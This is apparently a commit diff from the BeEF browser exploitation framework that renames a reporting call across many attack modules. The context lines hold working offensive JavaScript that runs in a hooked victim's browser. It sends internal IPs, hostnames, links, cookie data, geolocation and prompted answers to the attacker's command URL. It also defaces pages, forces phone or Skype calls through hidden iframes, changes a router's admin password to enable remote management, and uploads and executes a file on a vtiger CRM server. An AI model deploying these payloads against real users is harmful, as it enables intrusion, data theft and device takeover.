beef.dom.createIframe('fullscreen', 'get', {'src':iframe_src}, {}, function() { if(!sent) { sent = true; document.title = title; beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+escape(result)); } });
setTimeout(function() {
if(!sent) {
result = 'Iframe failed to load, timeout';
beef.net.sendback('<%= @command_url %>', <%= @command_id %>, 'result='+escape(result));
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+escape(result));
document.title = iframe_src + " is not available";
sent = true;
}
}, <%= @iframe_timeout %>);
});
});

View File

@@ -1,5 +1,5 @@
beef.execute(function() {
var sploit = beef.dom.createInvisibleIframe();
sploit.src = 'skype:<%= @tel_num %>?cal';
beef.net.sendback("<%= @command_url %>", <%= @command_id %>, "result=IFrame Created!");
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=IFrame Created!");
});

View File

@@ -1,5 +1,5 @@
beef.execute(function() {
document.body.innerHTML = "<iframe src=tel:<%= @tel_num %>></iframe>";
beef.net.sendback("<%= @command_url %>", <%= @command_id %>, "result=IFrame Created!");
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=IFrame Created!");
});

View File

@@ -1,7 +1,7 @@
beef.execute(function() {
if(!beef.geolocation.isGeolocationEnabled()){
beef.net.sendback("<%= @command_url %>", <%= @command_id %>, "geoLocEnabled=FALSE&latitude=&longitude=");
beef.net.send("<%= @command_url %>", <%= @command_id %>, "geoLocEnabled=FALSE&latitude=&longitude=");
return;
}

View File

@@ -1,5 +1,5 @@
beef.execute(function() {
alert("<%== format_multiline(@text) %>");
beef.net.sendback("<%= @command_url %>", <%= @command_id %>, "text=<%== format_multiline(@text) %>");
});
beef.net.send("<%= @command_url %>", <%= @command_id %>, "text=<%== format_multiline(@text) %>");
});

View File

@@ -1,5 +1,5 @@
beef.execute(function() {
document.body.innerHTML = "<%= @deface_content %>";
beef.net.sendback("<%= @command_url %>", <%= @command_id %>, "result=Deface Succesfull");
});
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Deface Succesfull");
});

View File

@@ -1,5 +1,5 @@
beef.execute(function() {
var answer = prompt("<%== @question %>","")
beef.net.sendback('<%= @command_url %>', <%= @command_id %>, 'answer='+escape(answer));
});
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'answer='+escape(answer));
});

View File

@@ -8,11 +8,11 @@ beef.execute(function() {
result+= n + " " + e[n] + "\n";
}
beef.net.sendback('<%= @command_url %>', <%= @command_id %>, 'result='+escape(result));
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+escape(result));
});

View File

@@ -11,5 +11,5 @@ beef.execute(function() {
}
)
beef.net.sendback("<%= @command_url %>", <%= @command_id %>, "result=Replace Video Succesfull");
});
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Replace Video Succesfull");
});

View File

@@ -6,5 +6,5 @@ beef.execute(function() {
$j('body').html('<object width="100%" height="100%"><param name="movie" value="http://www.youtube.com/v/yecSYe4PfXg?fs=1&amp;hl=en_US&amp;autoplay=1&amp;iv_load_policy=3"><param name="allowFullScreen" value="true"><param name="allowscriptaccess" value="always"><embed src="http://www.youtube.com/v/yecSYe4PfXg?fs=1&amp;hl=en_US&amp;autoplay=1&amp;iv_load_policy=3" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="100%" height="100%"></object>');
beef.net.sendback("<%= @command_url %>", <%= @command_id %>, "result=Rickroll Succesfull");
});
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Rickroll Succesfull");
});

View File

@@ -4,7 +4,7 @@ beef.execute(function() {
var internal_hostname = beef.net.local.getLocalHostname();
if(internal_ip && internal_hostname) {
beef.net.sendback('<%= @command_url %>', <%= @command_id %>,
beef.net.send('<%= @command_url %>', <%= @command_id %>,
'internal_ip='+internal_ip+'&internal_hostname='+escape(internal_hostname));
}
});
});

View File

@@ -1,5 +1,5 @@
beef.execute(function() {
var iframe = beef.dom.createInvisibleIframe();
iframe.setAttribute('src', '<%= @base %>Gozila.cgi?PasswdModify=1&sysPasswd=<%= @password %>&sysPasswdConfirm=<%= @password %>&Remote_Upgrade=1&Remote_Management=1&RemotePort=<%= @port %>&UPnP_Work=0');
beef.net.sendback("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
});

View File

@@ -88,5 +88,5 @@ beef.execute(function() {
iframe.contentWindow.document.body.appendChild(form);
form.submit();
beef.net.sendback("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
});

View File

@@ -88,5 +88,5 @@ beef.execute(function() {
iframe.contentWindow.document.body.appendChild(form);
form.submit();
beef.net.sendback("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
});

View File

@@ -12,7 +12,7 @@ beef.execute(function() {
if (document.getElementById('vtigerimg')) {
//document.body.removeChild(document.getElementById('vtigerimg'));
//beef.net.sendback('<%= @command_url %>', <%= @command_id %>, 'result=There was a stagnant vtiger ID. Aborted!');
//beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=There was a stagnant vtiger ID. Aborted!');
return "Exploit running already";
}
@@ -125,15 +125,15 @@ beef.execute(function() {
if (uploadstate == 0) {
//something went way wrong
document.body.removeChild(document.getElementById('vtigerimg'));
beef.net.sendback('<%= @command_url %>', <%= @command_id %>, 'result=Error in file upload');
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Error in file upload');
} else if (uploadstate == 1) {
//we never got a response from the server
document.body.removeChild(document.getElementById('vtigerimg'));
beef.net.sendback('<%= @command_url %>', <%= @command_id %>, 'result=Server did not respond while trying to upload file');
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Server did not respond while trying to upload file');
} else if (uploadstate == 2) {
//we got a response that was NOT a 200
document.body.removeChild(document.getElementById('vtigerimg'));
beef.net.sendback('<%= @command_url %>', <%= @command_id %>, 'result=Server gave an invalid response while trying to upload file');
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Server gave an invalid response while trying to upload file');
} else if (uploadstate == 3) {
//We got a 200, so hopefully the file was uploaded
//be_graceful();
@@ -166,7 +166,7 @@ beef.execute(function() {
http_request.send(requestbody);
if (http_request.status == 200) {
document.body.removeChild(document.getElementById('vtigerimg'));
beef.net.sendback('<%= @command_url %>', <%= @command_id %>, 'result=File Uploaded AND Executed ('+findurl+')');
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=File Uploaded AND Executed ('+findurl+')');
return;
}

View File

@@ -1,4 +1,4 @@
beef.execute(function() {
beef.session.persistant();
beef.net.sendback('<%= @command_url %>', <%= @command_id %>, 'result=Links have been rewritten to spawn an iFrame.');
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Links have been rewritten to spawn an iFrame.');
});

View File

@@ -6,5 +6,5 @@ beef.execute(function() {
window.focus();
beef.net.sendback('<%= @command_url %>', <%= @command_id %>, 'result='+escape(result));
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+escape(result));
});

View File

@@ -1,6 +1,6 @@
beef.execute(function() {
beef.net.sendback("<%= @command_url %>", <%= @command_id %>, "links="+escape(beef.dom.getLinks().toString()));
beef.net.send("<%= @command_url %>", <%= @command_id %>, "links="+escape(beef.dom.getLinks().toString()));
});

View File

@@ -3,7 +3,7 @@ beef.execute(function() {
var sessionResult = beef.browser.cookie.hasSessionCookies("<%= @cookie %>");
var persistentResult = beef.browser.cookie.hasPersistentCookies("<%= @cookie %>");
beef.net.sendback("<%= @command_url %>", <%= @command_id %>, "has_session_cookies="+sessionResult+
"&has_persistent_cookies="+persistentResult+"&cookie=<%= @cookie %>");
var results = {'has_session_cookies': sessionResult, 'has_persistent_cookies':persistentResult, 'cookie':'<%= @cookie %>'}
beef.net.send("<%= @command_url %>", <%= @command_id %>, results);
});

View File

@@ -23,11 +23,11 @@ beef.execute(function() {
setTimeout(function() {
var img = document.getElementById('torimg');
if (img.getAttribute("attr") == "error") {
beef.net.sendback('<%= @command_url %>', <%= @command_id %>, 'result=Browser is not behind Tor');
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Browser is not behind Tor');
} else if (img.getAttribute("attr") == "load") {
beef.net.sendback('<%= @command_url %>', <%= @command_id %>, 'result=Browser is behind Tor');
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Browser is behind Tor');
} else if (img.getAttribute("attr") == "start") {
beef.net.sendback('<%= @command_url %>', <%= @command_id %>, 'result=Browser timed out. Cannot determine if browser is behind Tor');
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Browser timed out. Cannot determine if browser is behind Tor');
};
document.body.removeChild(img);
}, <%= @timeout %>);

View File

@@ -1,5 +1,5 @@
beef.execute(function() {
beef.logger.start();
beef.net.sendback("<%= @command_url %>", <%= @command_id %>, 'result=Event logger has been started');
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result=Event logger has been started');
});